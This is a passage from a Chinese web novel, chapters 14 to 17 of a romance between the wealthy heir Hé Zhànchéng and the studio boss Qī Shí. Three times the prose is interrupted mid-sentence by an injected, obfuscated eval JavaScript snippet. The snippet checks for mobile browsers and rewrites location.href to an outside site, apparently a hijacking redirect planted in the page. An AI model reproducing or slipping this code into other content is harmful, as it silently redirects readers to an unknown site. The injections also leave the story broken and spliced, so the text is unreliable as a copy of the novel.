本来他只干跑腿和力气活,现在好了,道具质量不行怨他、场地摆放的东西没及时搬走也骂他、送东西晚了也要批评他、不小心闯入镜头了也要被演员甩脸色,尤其是前天—— 前天,白天他在B组给配角们当跑腿牛马,中午就吃了份裴玉给他带的腊味煲仔饭,晚上莫名被调去A组陪男女主熬通宵,男主休息时,他还得给男主做光替走位,北方三月山上的夜晚冻得人瑟瑟发抖,他穿着薄薄的夹克外套,又冷又累又饿又困,难受到极点,跑去偏远草丛把午饭吐了干干净净,好容易凌晨四点钟终于要收工了,他这个连续工作了20个小时还一分工资都没的牲口,没人带他回酒店,他就随便在临时帐篷里占了个谁的行军床,扯上旁边的粉紫色库洛米小棉被就倒头睡死过去。 昨早八点,他还在睡梦中,一个小丫头飞奔过来一把掀掉他的被子,讲话糯叽叽的,毫无攻击力,说要不是看他长得太帅,她早就把他怎么怎么样了……他没理她,全程眼睛就没睁开过,醒来后被冻得头昏脑涨,骑着辆闲置的三蹦子去B组找裴玉助理给他弄了点感冒药和姜茶,旷工了一上午才缓过来。 依旧是昨天,中午难受得连口饭都吃不下,下午男主拍戏,男主让私人助理去山下给全组买咖啡奶茶,刘导居然指挥他去给男主端茶倒水当免费助理,还语重心长地教导他一番,让他在旁边好好学习一下人家男主敬业的工作态度。 虽然刘导是老江湖,跟他说话也平和稳当,但老头儿那股子“我是长辈就等于我是你爹”的王八蛋劲儿,气得他当场撂挑子走人了。 CTMD!他是何湛程! 他们知不知道他这个名字意味着什么? 这帮冲他吆五喝六的孙子们还在穿开裆裤的时候,他老子何澜就已经是混迹于越南老挝缅甸柬埔寨、行走在刀尖枪口上的枭雄了!他爹那些年倒腾木材水果和药品,吃过枪子儿,挨过刀砍,后来小弟收了一堆,赚得盆满钵满,通吃珠三角长三角的黑白两道,那是真真正正从尸山血海里闯出来的狠人,哪是这群扛摄像机写剧本的酸儒书生配去和他称兄道弟的? 老爷子人到中老年,手下有出息的兄弟小弟徒弟晚辈后生遍及全国乃至整个东南亚,可谓是门生故吏遍天下,他何老三降世那年,他爹老来得子,劲头正兴,寻思着自己百年之后留给三个儿子的遗产不够分,又开始鼓捣汽车、珠宝和羊毛生意,把产业发展到了香港、澳门、菲律宾、秘鲁和瑞士,“何澜”两个字从此常年盘踞在福布斯排行榜前三,是当之无愧全国第一的商业巨鳄! 他大哥,人品低劣手段阴险,但确实是个超凡卓越的青年才俊,老爷子亲自指定的继承人,才27岁就成为何氏集团最年轻的董事会成员,一人就手握整个集团28%的股份,且在外省另起门户无数,身价过千亿,风度翩翩人模狗样,谁见了不说一句后生可畏? 这些年,他何湛程出门在外,甭管他来者何人,谁不看在他老子和他大哥的面子上把他何老三供得跟祖宗似的?他奶奶的,结果到了戚时手底下,一群人变着花样的欺负他? 要不是他相中了戚时那张长相过于牛逼的帅脸,惦记着早晚把人给泡了,他为了心上人忍着不发火,这群连名号都排不上的孙子们还真当他脾气好啊? 他是何湛程。 不是张三李四王五赵六! 还有,他一个不在剧组吃饭的人,制片居然还叫他每天给群演分发盒饭?! 制片这是想干什么?! 戚老二这是想干什么?!! 把他何湛程当日本鬼子整是吧?! 何湛程浑身软绵绵地趴在酒店雪白柔软的大床上,满脑子一团浆糊,又气又无力,骂都懒得骂了。 是的,他今天又旷工了。 今天是来剧组的第九天,也是他躺在酒店摆烂的第二天。 裴玉帮他续了一周的费,每天中午忙里偷闲,亲自送来补品和饭食。 在裴玉钞能力作用下,俩人这阵子亲近了不少,昨晚上裴玉收工早,带了夜宵来看他,见他不舒服,还非常体贴地给他喂饭,全程盯着他的脸看,最后实在忍不住了,轻轻握住了他的手,问能不能亲他一下,随便亲哪里都行。 何湛程眼神冷冷的,警告了句你别找死,但实在太累,又发着高烧,跟裴玉说如果你太闲,就给我按摩下腿和脚。 裴玉只希望能和他多待一会儿,也不介意伺候他,一边给他捏腿一边和他聊天,说在自己心里一直把他当小弟弟,但他知道自己高攀不起,就只能把何湛程当做自己事业转运的恩人。 那天珠宝晚宴过后,他裴玉有何家做靠山这件事就在一夜之间传开了,圈子里没人敢欺负他了不说,还有好多咖位比他高不少的前辈主动抛出橄榄枝,要带他一起合作。 很多大咖收到第一手的本子,不合适或者不想演,顺水推舟做人情就给他了,帮他引荐导演,提供信息和人脉让他去试戏,加上他本身也很会做人,一狠心,掏空全部家底,做局应酬无数,认了一堆哥姐干爹,公司见他挺出息,后期也乐意砸钱捧他,于是裴玉的事业很快就步入正轨了。 裴玉说,他能走到今天,是托了何湛程的福。 恩人? 何湛程迷迷糊糊想,怎么又扯上一个恩人? 情人纠缠容易摆脱,恩人……啧,不太好断啊。 何湛程本来不想和裴玉走太近,总感觉对方太喜欢他了,好像会随时吃了他一样。 但裴玉是擎荣影视旗下的艺人,风光正盛,前途无量,很能给老板赚钱,平时在公司碰上了,戚时也会停下来和裴玉聊两句,算是比较抬举他。 何湛程搁酒店闲得发慌,成天琢磨着从裴玉嘴里套出点儿戚时的八卦,所以暂时跟人说话没有太难听。 据裴玉透露,戚时在大部分决策上是纯流氓做派, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409023|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于横冲直撞速战速决的类型,他办事只围绕两个核心,第一是他哥,第二是赚钱,其余杂琐事,比如很多来公司好几年但一直没资源的艺人想求他稍微关照下,戚时眼皮都不会抬一下,遑论帮他们介绍人脉和工作了。 问,就是让他们凭本事上位,连在自己公司都做不到出类拔萃,还指望在娱乐圈闯出一片天? 越是对底层,越是残酷残忍,完全打压式教育,很是不近人情。 但戚时在大事上是比较拿得住的,能忍能扛能控局,危机意识也很强,对形势变化的敏锐度极高,稳得令人心服口服。 何湛程还收集在便利贴了几条戚时相关: 1,习惯抽黄鹤楼大金砖; 2,喜欢打篮球台球网球羽毛球; 3,日常打扮休闲,非必要不穿西装; 4,有一条视如己出的阿拉斯加小狗; 5,不喜欢过生日; 6,讨厌唱歌; 7,沉迷于收藏各类限量版球鞋和球衣; 8,脾气大,但来得快去得也快,吃软不吃硬; 9,女友无数,永远无缝衔接,唯爱肤白貌美大长腿千金小姐 女友这一点,据何湛程了解,戚时貌似不只是喜欢外表是清冷女神范儿那类,还得是真正有内涵教养的高知女性才行。 啧,是因为自己练体育的没啥文化,才喜欢交往对象有文化? 何湛程不免恶意揣度,果然,人总是自己拥有不了的东西才是最好的。 戚时条件也很苛刻,又要漂亮性感身材好、又要内涵丰富学历高、还要甘愿做他的情人,忍受一段没有承诺、没有未来的非正常恋爱关系。 大抵是戚老二人帅多金技术也好,这些年来,他读硕士的时候,正式谈过两个文科硕士,毕业后谈过四个搞科研的女博士、两个常出差的工程师、三个搞创作的艺术家—— 据说谈艺术家的时候被人家遛了,戚时莫名做了男小三,从此再不敢和艺术家谈了。 目前主要在交往的是一个大学教师兼瑜伽教练,跟戚时的感情最长也最稳定,所以知情人士都觉得这俩人是奔着结婚去的,另外两个只能算作露水情缘,戚时顶多带人家去吃个饭看个电影,给人买买衣服首饰包,等腻了就打给对方一笔分手费,双方各取所需,好聚好散。 何湛程了解完戚时花心大萝卜的全部感情史后,居然萌生出他得回去上学的念头,虽然在哥伦比亚大学读商科十分枯燥乏味,但那也是他凭自己本事考上的,等读完,一纸毕业证甩戚时脸上,一边跟人商量着他要不要也去读个硕士博士什么的,一边拽着戚老二头发把人往死里干,光想想就觉得爽。 正趴在床上想着某人英俊的帅脸发痴呢,搁在床头柜上的手机就嗡嗡震动起来。 何湛程轻啧一声,睁开眼去拿手机,猜测着要么是剧组的人打电话来骂他旷工的,要么就是裴玉问他今天中午吃什么。 如果是剧组的人,他准备回一句“去网上搜一下‘何湛程’这个词条,然后叫你们男主滚过来给我洗脚捶腿”; 如果是裴玉,嗯……他今天中午想吃新疆菜,再多来俩羊肉串,最近一日三餐光喝营养粥,他馋肉了。 视线转向手机屏幕。 来电显示浮动着两个几近玄幻的字: 二哥 15. 第15章 俗话说得好,黄鼠狼给鸡拜年——没安好心。 但明知如此,盯着来电显示的备注名,何湛程还是很开心。 戚时是他目前为止遇到过最难泡的一个,可为了抱得美男归,他并不介意多花点心思哄人,如果能让戚时消气重新理他,他多干几天粗活、挨两句无关紧要人的骂也没什么。 就像他幼时调皮捣蛋,他爸妈生气,他要么卖萌装乖,要么假装不小心摔一跤把自己搞得很狼狈,他们的怒火就会立刻烟消云散,更多将关注点转移到他本身,而不是他惹出的麻烦。 何湛程从小就知道自己长得可爱,长大了更是帅得花见花开,不管对方最初对他态度如何,他都有足够的能耐钓到任何他看上的人。 他不确定自己会对戚时的兴趣保持多久,但起码现在,他愿意陪这个英俊的男人玩一玩。 何湛程接起电话,忍着喉咙刺痛,冲人调笑: “二哥,可算是舍得把我从黑名单里放出来了?” “哟,”对方语调听起来颇为痛快,假惺惺问询着,“你这嗓子怎么了,哑得都快听不见声儿了,感冒啦?” “哪能呢,”何湛程笑道,“二哥你手底下这么多人都在照顾我,我要是病了,那也太不给你面子了。” 对方笑了声,似乎整个身心都舒坦了:“听说你这两天都没去组里干活啊,是累了?啧,就说是大少爷呢,细皮嫩肉干不了粗活儿,我本来还寻思着过阵子看你去呢,现在看这情况,唉,你要是待不了,我干脆叫茉莉直接给你送家去吧。” 得,原来是瞧着没能整死他,专门打电话激他来了。 何湛程笑着磨了磨牙,寻思着自己怎么就看上这么个禽兽王八蛋呢,回头他不把人操掉半条命还真是对不起自己这副受苦受难的千金之躯啊。 口头回话倒挺乖:“没,我犯懒呢,等歇好了就回组里了,二哥你什么时候来找我玩儿啊?” “哦,”那边根本不管他问啥,只顾自己的,“那你什么时候歇好?” “你什么时候来找我?” “程儿,”那边吊儿郎当的,带几分不经意的撩,“这么跟二哥说话?” 何湛程倏地攥紧手机,笑:“我明早就去。” “嗯,”那边心情不错地嘱咐,“量力而行,有事儿说话,别太累着自个儿。” 何湛程忍不住问:“我累着了,二哥会心疼吗?” “那可不。”对方说。 何湛程笑容一僵。 总觉得……哪里不对劲。 他不就是骗过对方一次手机号么,又不是在天上捅出了窟窿,就算看在他爸他大哥的面子上,戚时也犯不着这么往死里整他吧? 还有今天戚时是吃什么癫痫药了?怎么还跟他玩调情这一套? 嗯……他知道自己好看,但戚时要是装直男的话,那可就大大的没意思了。 这般犹疑着挂了电话,绞尽脑汁也没想出个所以然来,等回过神,才想起戚时还没回复他究竟什么时候来找他。 何湛程一键回拨就给人打回去了。 然后就收到一串刺耳的女声提示音:您拨打的用户暂时无法接通…… “哈哈哈哈哈哈……”何湛程气笑了。 天杀的戚老二,居然刚打完电话就又给他拉黑了! 刚说过的有事就找他说话呢?!! 何湛程第二天就准时到岗上班了。 身残志坚堪比黑奴的零薪工少爷脖子上挂着工作牌,开着辆活力十足的蓝色三蹦子炫酷登场,立刻收获无数震惊钦佩的目光。 他们没想到他还会回来,更没想到他卷土重来第一天,就请全剧组(二百多个工作人员外加二百多个群演)吃了景区商业街人均六百多的手握寿司套餐和烤羊腿,下午人手一杯均价四十的饮料,很是收割了一波人心。 裴玉吸着冰美式,掰着手指头算总账,悄悄问何湛程哪儿来的钱? 何湛程大马金刀地坐在小板凳上咬着羊肉串,小微风吹着,身旁野草拂动,他一口橙汁一口肉,吃得津津有味: “我留了戚老二的手机号,让那些店长打电话找你老板结账。” 裴玉吓得差点杯子掉地上,一脸不敢置信:“你疯了?!” 何湛程满不在乎一挥手:“他把我扔这儿,又不管吃,又不管住的,我花他点儿钱咋啦?” 裴玉急得跳脚:“祖宗!你是真不知道天高地厚啊!时哥可不是什么善茬,你真惹毛了他,他可不会看在谁的面子上放过你!” 说着,招手叫助理来,让人赶紧拿他的卡去山下那几家店铺结账,说这顿就算他的,以何湛程的名义送出去,他不亏。 何湛程伸出两根银光锃亮的铁签子就将人挡了回来,眼皮也不抬一下:“你算老几,替我结账?坐着。” 分明最平淡不过的语气,却把裴玉浇了个透心凉。 裴玉老实了,把卡收回来,垂头丧气坐到何湛程对面板凳上,捧着手里突然不是滋味的冰美式,小声咕哝:“那你和时哥也没关系啊……” 何湛程没理他,裤兜震动几下,他嘴角翘起,掏出手机来看。 先是茉莉的微信: —三少,收手吧,算我求你 何湛程: —他那边怎么说? 茉莉: —坐办公室狂笑了半小时 何湛程啧一声。 看,多好,他不仅有把人惹怒的本事,还能把人逗乐呢。 然后是戚老二的电话。 何湛程矜持地接起,等那边先开口。 戚时听起来并不生气,语气温柔,有种超乎寻常的慈祥: “吃的啥啊程儿,一下子干你二哥三十五万?” 何湛程甜甜地笑:“羊肉,二哥喜欢么?” 戚时也笑:“二哥更喜欢吃人肉。” 何湛程尾椎骨猛地窜上一股子电流。 但戚时嗓音十分性感动听。 “二哥净逗我。”他撒娇。 戚时哈哈笑了两声。 然后语气更加开朗:“二哥不仅喜欢逗你,二哥还把你衣裳都卖了,开心嘛?” 何湛程笑脸一僵,以为自己幻听:“啥?” 戚时:“我——把——你——的——衣——裳——都——卖——啦。” 下一秒,贴在耳边正甜甜陪笑的手机被骤然狂暴起来的人扔进五十米外的灌木丛里。 裴玉惊叹:“哇靠,好臂力!” 何湛程阴沉沉地瞪他。 裴玉拔腿就跑:“我去帮你捡!” “站住。”何湛程声音冷冷的。 “不关我事啊……”裴玉试图蒙混过关。 “你是擎荣的人。” “可我每天都在组里待着啊……” “挺会给老板卖命的一条狗啊?” “我真不知道……” “真的一点儿都不知道?” “就、就听到一点风声,具体的不知道……” “那就去查。” “三少……”裴玉有点为难地劝着,“这事其实很好办的,你别惹他就万事大吉了,你就算查清楚又能怎样,东西卖都卖出去了,你不如给时哥认个——” 何湛程勃然大怒,抓起喝剩的半杯橙汁就朝人砸过去: “我他妈让你去查!立刻!马上!” 周遭人纷纷被惊动,不约而同看过来。 众目睽睽之下,裴玉一身崭新古驰被溅得到处是黄澄澄的果汁。 然后好脾气抬手一抹脸,叹气:“好吧。” 经此一闹,不管是折服于“道具小何”大手笔请客的阔气,还是被少爷原形毕露的暴脾气吓到了,从此剧组再无人敢惹他。 何湛程重新做回了皇帝,每天上班晚到早退,身边人还端茶送水不断,高兴了就跑去干点活儿,大多时候在巨型遮阳伞下欣赏高山美景,要么就盖着小羊绒毯睡大觉,闲着没事儿了就骑着三蹦子乱溜达,一晃眼,八九天过去,没等到戚老二说要来看他的电话,倒和组里的一个小丫头玩儿上了。 是之前他盖得那床粉紫色库洛米小棉被的主人,刘导亲闺女,组里人都喊她霜霜,十岁出头,粉团脸蛋,声音糯叽叽,成天扎着俩小揪穿着古装跑来跑去,红衣飘飘的,累了就去帐篷里歇着看动画片,身边随行俩保姆和一个司机,偶尔让“小何”开着三蹦子带她去A组找她爸,也不上学。 霜霜一派公主作风,最开始认识何湛程就是因为他抢了她被子,本来要发火来着,奈何人太帅,没舍得。 后来何湛程闲下来了,她经常跑来找他玩儿,俩人天南海北地聊,她深觉遇到知音,于是正式任命小何给她当随从,说:“小程子,你是太监,我是公主,从现在开始,你得无条件服从我!” 何湛程一脸笑意,挺配合着单膝跪地,打了个千儿,向公主行礼:“嗻!” 霜霜居高临下地踩在桌子上,蔑然道:“小程子,你可知罪?” 何湛程颔首:“我知罪。” 霜霜:“说,你犯什么罪了?” 何湛程:“没能让公主开心,就是我的罪。” 霜霜:“嗯,念在你是初犯,本公主就饶你一命了。” 何湛程行礼,高声喊:“谢——公——主!” 剧组路过的人都觉得这一大一小脑筋有问题。 这天,霜霜举办了一场名媛下午茶会,叫了小程子参加,俩人占了座山头,天朗风清,二人舒坦地靠进躺椅里,中间摆一张茶水桌,一起望着远山漂浮的云。 霜霜咬着小程子给她买的果冻,问:“你多大啦,怎么年纪轻轻就进宫了?” 小程子笑:“我今年二十,被家里人送进宫见见世面。” 霜霜挠着头:“二十?你不上大学吗?” 小程子:“本来在上的,上了两年觉得没意思,就回家了。” 霜霜:“什么叫‘没意思’?” 小程子:“就是‘本来有很多张有趣的脸,时间长了,他们慢慢都变成了一张脸,那一张脸还是镜子里的我自己’的意思。” 霜霜被绕得头晕:“我听不懂。” 小程子:“听不懂才好呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霜霜很懂规矩,连忙死死捂住手机,然后神情得意地扭头去看小程子,似乎在说:“看,我做的不错吧!” 何湛程赞许地看她一眼,挥了挥手,打发她去一边玩儿。 下巴冲裴玉一抬,示意让人坐。 裴玉一屁股坐霜霜小毯子上,随手撕开了个荔枝果冻塞嘴里,一脸幽怨望向旁边人:“唉,三少,咱俩都认识这么久了,你让我加个电话怎么了?” 何湛程枕着胳膊躺了回去,闭上眼:“说正事儿。” 裴玉上周戏排得很紧,日里夜里连轴转,没怎么到何湛程跟前儿晃悠,今天好容易得空了,立刻找公司里的熟人旁敲侧击,东拉西扯唠了一上午才帮何湛程打听出了内幕。 裴玉毕竟是擎荣影视的人,打探自家消息容易,但得防着自家人卖他,他也不像茉莉那样完全忠于老板,现在还惦记着何湛程的恩情和自己那点儿色心,幸而为人世故圆滑,虽然两头摇摆,却是左右逢源。 美少年当前,裴玉没怎么犹豫就透底了,说戚时原来早在何湛程请客之前就擅作主张把他那堆行李卖了,衣服怎么处置的、珠宝怎么处置的,还卷跑了何湛程的两双球鞋,事无巨细,全给人交代了。 “不过你放心,你那些东西太贵,每件挂平台还得找人开鉴定证明才能用真货的折扣价卖出,卖的没那么快,现在三分之二还都囤在市场部的仓库里,不过……唉,时哥最近改变策略了,说不再找人开鉴定证明了,全都当做普通衣服卖掉,为此还成立了两个卖货直播间。” 裴玉劝着:“三少,你就听我一句,时哥虽然脾气大了点,但为人挺不错的,趁现在还来得及,你赶紧给他打电话服个软,只要你先低头,你那些衣服指定能要回来,真的。” “低头?”何湛程乐了,“不就骗了他个电话号码么,戚老二这种头脑简单四肢发达小肚鸡肠毫无风范格局的傻大个儿,他是怎么坐上那个位子的?” 裴玉精准捕捉信息:“你骗他电话号码干嘛?” 何湛程耸耸肩:“玩儿啊。” 裴玉要防着自己人,他也得防着裴玉,万一这货吃醋跑回去找戚老二告密,把他心上人吓跑了咋整? 裴玉见何湛程一脸风轻云淡满不在乎的样子,自己倒替人着急上了:“那你那些衣服怎么办?你不是说那是你的全部家当吗?” 清风吹过狼尾草,身后林间树影婆娑,天地万物一片澄明,何湛程缓缓睁开眼,太阳光就这样强势地刺进他琥珀色的深瞳。 他抬臂一挡,袖口露一截雪白的腕,蛇一样缠绕在腕间的那条沉香手串晃动几下,坠出两颗举世稀有的上等南红。 迎着日头,金玉堆簇着,像两颗正在跳动的深红心脏。 何湛程闲闲地把玩着手串,语气淡淡: “你刚才说,他卖了钱要干嘛来着?” “捐给山区留守儿童。” “捐给谁?” “山区留守儿童。” “山区什么?” “留——守——儿——童!”裴玉拔高嗓门喊,不知道少爷怎么突然就聋了。 “嗯,”少爷一脸祥和地闭上眼,“平白错过好些年,就算我补偿他的,这事儿掀篇了。” 16. 第16章 “你说什么?” “我说分手。” “再说一遍。” “分手。” 啪的一声,蒋灵愤怒拍桌而起,拿起手边红酒泼人一脸。 “混蛋!”她声音哽咽。 戚时一脸镇定地抹了把脸,扯纸巾擦擦身上,然后颇为绅士地起身,再重新帮她满上酒。 刚满上,人还没坐回去,蒋灵立刻又泼他一脸。 戚时干脆连擦都不擦了,任由额发上的酒液滴滴答答,滑落进英挺浓眉间。 高级餐厅暗灯下,他一张浓颜俊脸正得发邪,红液流淌至唇角,他伸舌舔舔,一张嘴,唇红齿白。 抬头冲她宠溺一笑,愈发令人怦然心动。 “消气没?”他哄她:“没消气我接着倒。” 蒋灵仰头瞪着他:“倒!” 他又倒,她又泼。 他再倒,她再泼。 他还倒,她还泼。 来来回回,两瓶五千来块的好酒一口没喝,全灌溉在戚时的头发和脸上。 最后,戚时收拾利落,打了个响指,叫服务员再上两瓶,唠嗑似的,问对面红着眼眶却死活不肯掉泪的蒋灵:“两瓶够吗?” 蒋灵咬着牙,恨恨地骂他一句:“畜生!” 戚时轻啧一声。 这才是他女人呢,性子就是烈,不过他早预料到这一出,才特地定的包厢。 自己人面前,这叫情趣,外人面前那才叫丢脸,他虽然书读不好,但脑子一向挺好使的。 服务员送来酒,戚时接过,也不用醒了,直接往人杯子里继续倒着: “忍不住就哭吧,这里没外人,在我面前你还逞什么能?哭不出来就骂,甭跟我客气,没消气咱就接着来,你心里不也清楚吗,你跟我早晚会有这一天,没什么意外的。” “滚!”蒋灵哭着吼他一声。 戚时见没泼他,缓缓坐回去,将一张黑卡推到她手边,态度公事公办:“你放心,分手归分手,你我情分还在,往后有困难了,你随时联系茉莉,她知道你和别人不一样。” 每听他说一句,蒋灵的心就碎一下,她泪流满面着抬起头:“是,她知道我和你别的女人不一样,别的女人一张卡一套房子就轻易打发了,哪里有资格让你日理万机的戚大总裁亲自出马说分手!她不仅知道,她还认为你会和我结婚,所有人都这么认为!可你呢?这么多日日夜夜,你良心都让狗吃了吗?!!” 戚时眼神逐渐冷酷:“蒋灵,我有认真考虑过和你走到最后,但我们不合适。” 蒋灵倔强地擦干眼泪:“你给我一个理由。” 戚时甩出他的万能分手理由:“我腻了。” 蒋灵犀利起来,两眼深深盯着他:“我要听真正的理由。” 戚时低头点烟:“理由就是理由,没有什么真的假的。” 蒋灵:“你爱上别人了。” 戚时直接笑呛了:“哪里有什么别人。” 蒋灵咄咄逼人:“那晚,给你发短信的小男孩儿,你后来等他回复,等了一整夜。” 戚时满不在意地喷了口烟,手指悬到烤羊排的餐盘上,弹着烟灰:“你不懂,那是男人之间的较量。” 蒋灵笑了:“不是你亲口说,不想理他么?” 戚时也笑:“你吃一个小孩儿的醋?你觉得可能么?” 蒋灵笑不出了,眼眶里又含了泪:“你……刚才还把他当男人。” 戚时皱眉,他是真搞不懂她,他不理解这有什么好哭的。 弯过腰,给她递上纸巾,耐心安慰着:“行了,那小子才刚满二十,毛都没长齐,我大他整整七岁,替他哥教训教训他而已。” 蒋灵忍不住了:“可是,他喜欢你!” 戚时愣了下。 他喜欢他吗? 一瞬间,脑海里走马灯似的晃过许多事: 那样一个家境优渥的阔少爷,第一次见面就亲昵地叫他“二哥”,其实吓了他一跳,因为从没人这么称呼过他……散席后突然挽上来的手臂,靠得他那么近,脖颈间肌肤里散发出的不是香水味,而是淡淡的体香,他那方面经验丰富,却不敢闻那个人……帮他解安全带时故意贴近的、那样细嫩如水的脸,他感受到了,软而温凉,视线便忍不住瞄向对方轻扬起来的嘴角……每次打电话都要撒娇,无论他怎么发火,对方好像都没什么脾气,搞得比人小七岁的是他一样…… 不知道从哪儿搜罗到他那些旧照片和视频。 小傻子脑子里究竟装的什么? 为什么要打印? 为什么要那么细节地修复和还原他曾经的样子? 为什么要探究他的过去? 那样娇生惯养着长大的少爷,生了重病,不抱怨不吭声,还因为他一句阴阳怪气的话就老老实实跑回去干苦力…… 叼在嘴里的烟一不着意,忽地砸在手背上,在虎口处烫出一个浅浅的红点。 他后知后觉,抬手吹了吹灰,然后将燃着的烟头捻灭,也掐灭那荒谬的可能。 那小子只是因为无聊在消遣他罢了。 众所周知,那小子天生就这么混账。 而他,他戚老二铁直了快三十年,怎么可能会喜欢上男人? 对方还是那么一个欠收拾的小兔崽子? 他在一瞬间说服自己了,很快镇定下来,挑眉问她:“蒋灵,我没别的意思,但你是不是该去看看精神科啊?” 蒋灵当然看穿了他所有的情绪,一颗心彻彻底底地死了。 她无心再聊,挎着包离开,经过他时,把那张黑卡扔在他被烟头烫伤的右手边,冷笑道:“这卡你也就一张,我不稀罕,你留着下一次给你的小傻子分手用吧。” 说完,头也不回地扬长而去。 戚时也没回头,蒋灵走了,他心里倒是松一口气。 倒不是讨厌她,他想,他暂时还抵触发展一段长期的关系,他们感情是很稳定,但每次想到以后要和蒋灵结婚,他就压力山大,浑身难受呼吸不过来,总觉得哪里不对劲。 而她,跟他在一起,她老觉得他恋兄,嘴上发誓说再也不提,心里还在恶心他。 分手多好啊,既然双方都不痛快,不如趁早断了,谁也不耽误谁。 戚时自顾自倒着酒,嘴里哼着分手快乐歌,叫了服务员,收拾干净桌子,又点了份新的羊排。 其实蒋灵那份牛排只切了一刀,她就吃了一口,也没沾口水,还剩很多。 但他没有吃别人剩饭的习惯。 羊排上来,戚时津津有味地吃着,可能分手这件事令人心情愉悦,他今天特别的有胃口。 手边那张黑卡,他瞥了两眼,心想,蒋灵都不稀罕的东西,何老三就稀罕么? 何老三手上的黑卡不比他戚老二多? 所以,就算是分手的话,也该是何三少给他这种小职工打钱才对。 戚时嚼着肥而不腻的晚餐,人生第一次觉得羊肉居然这么好吃,慢悠悠将卡收回兜里,嘴角不禁浮现出笑意。 他都不敢想,要是跟何老三这种人在一块儿,他得拥有多少双梦中情球鞋啊…… 不对。 戚时笑脸耷拉下来。 他想什么呢? 他俩现在都快处成敌人了! 有谁见过敌人给敌人买球鞋的?! 强行将偏离的思路掰正过来,戚时一脸正色地喝酒吃饭。 显然,他想,刚才那是金钱的诱惑。 说起来,戚时还挺唏嘘,何湛程混归混,到底是出身大户人家,有胸怀,有格局,他卖了那人这么多东西,对方一字不提,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这是公司的礼品袋,他以为是她用来送礼的,一开始没碰,直到百无聊赖翻看资料,替她一本本全部处理完桌角堆积的小摞文件,才发现最底下压了两张明黄色的便利贴,第一张黑色记号粗笔写着: 三少送朋友的礼物,预约3.16下午四点上楼取件。 【本周必须送出,真的不能再推迟了!!!】 他想也不想就给她拆了。 好你个茉莉,你是谁的秘书?居然敢背着老子给何老三办事儿? 这也就算了,居然还不跟老子说? 还拿公司的礼盒摆桌上搞障眼法? 这还有天理吗?! 还有王法吗?! 礼盒装的东西很普通。 景区礼品店的一个笔记本和一支枫叶状的金色书签,加起来超不过三百块。 雪白的扉页,狷狂的字迹极具个性,好看得令人心动,来自目前身在景区的那个据说大学都没毕业的人。 写给林弟: 要是秋天就好了,这里就会有满山遍野的红枫林,我想我会送你真正的枫叶,因为你像半褪色的红,一半是年轻炽热,一半是隐忍懂事。 东西不贵,希望你喜欢。 祝: 身体健康,学习进步,越来越帅 何湛程 3月5日 冰冷发汗的手指犹疑了一下,轻轻撕开第一张,露出底下的一张便利贴,上面写着邮寄地址: 沪上XX大学玉湾校区物理实验楼菜鸟驿站 收件人:136****7642许若林 看吧,原来那样品德低劣的小傻子还会给人写情书呢。 林弟。 呵呵。 这又不是搁古代,搞这么文绉绉的,有必要这么称呼么? 他把那短短几行读了五十遍。 每次视线都忍不住多瞄两眼邮寄地址。 他想,他才不会喜欢他。 17. 第17章 剧组没什么好玩的了,何湛程准备离开了。 戚老二那个骗子,答应他的事没做到,短信也不回,茉莉也总是一副公事公办的态度,言语上和蔼亲切,行动上却拒人千里之外,他不好太频繁打电话给她,他知道她已经察觉出什么了。 要么说女人是感性动物呢,到底比某些神经粗条的男人有脑子。 不过茉莉不是多嘴的人,她永远在维持平衡,不愧是高级行政秘书,何湛程觉得她比裴玉靠谱多了。 裴玉跟他表白了,神经病,昨晚上订了高档包厢请他吃意大利菜,中途他就去厕所撒个尿的功夫,那人见他回屋,把他堵门口,变戏法似的捧着一大束玫瑰花,深情款款地告白,说愿意做他的情人。 何湛程无语,说,我不愿意。 裴玉这大半月陪着他一起吃吃喝喝,消瘦过度的身体终于长回点儿肉,脸丰盈了不少,整个人精气神十足,一米八的大高个子,不枉是靠脸吃饭的男明星,帅得一塌糊涂。 但何湛程跟人坦白,他最近不喜欢大明星,他喜欢青春活泼的体育生。 裴玉有点失落,问他是不是嫌他年纪大? 何湛程:“废话,我这么年轻,当然要谈更年轻的。” 废话,他要不这么说,裴玉那脑子转得比溜溜球还快,就凭这阵子他和戚老二鸡飞狗跳地闹腾,裴玉能不想到自个儿老板身上去? 何湛程就觉得自己真贴心。 嗯,完美断绝一切暴露他心思的可能性,不留一丝机会给敌人趁机而入。 他要走,裴玉戏还有好几个月没拍完,本想着让助理送他去机场,何湛程才不要去机场,他要偷偷地去找他的心上人。 正琢磨着得想个招儿蒙混过关呢,刘导得知消息,说这阵子谢谢他帮忙带孩子,想亲自请他吃个饭,再派人送他回燕京逛两天,吃喝玩乐酒店住宿全包的那种。 怪不得刘导喜欢到处给人当爹。 刘导果然是个慈父。 何湛程欣然应允。 小包厢,四五个菜,酒桌上就仨人,刘导,霜霜,还有他,一家三口似的,怪温馨的。 不过很遗憾,何湛程是蜜罐儿里长大的金子,不是缺爱可怜的孩子,无论走到哪儿,只要是吃饭,他很难不全情投入进去。 没办法,他也才二十,正长身体呢。 霜霜一见他就哭,说不想让小程子走,小程子要走了,以后就再也没人陪她玩儿了。 何湛程没招儿,才吃了个半饱,就要被迫哄孩子。 “不是让你背过我电话了么,”他捏了捏她的小脸蛋,“有事儿打我电话,我肯定接。” 霜霜不信,哭得更急:“你骗人,你这时候答应了,一转眼就忙得顾不上我了!” 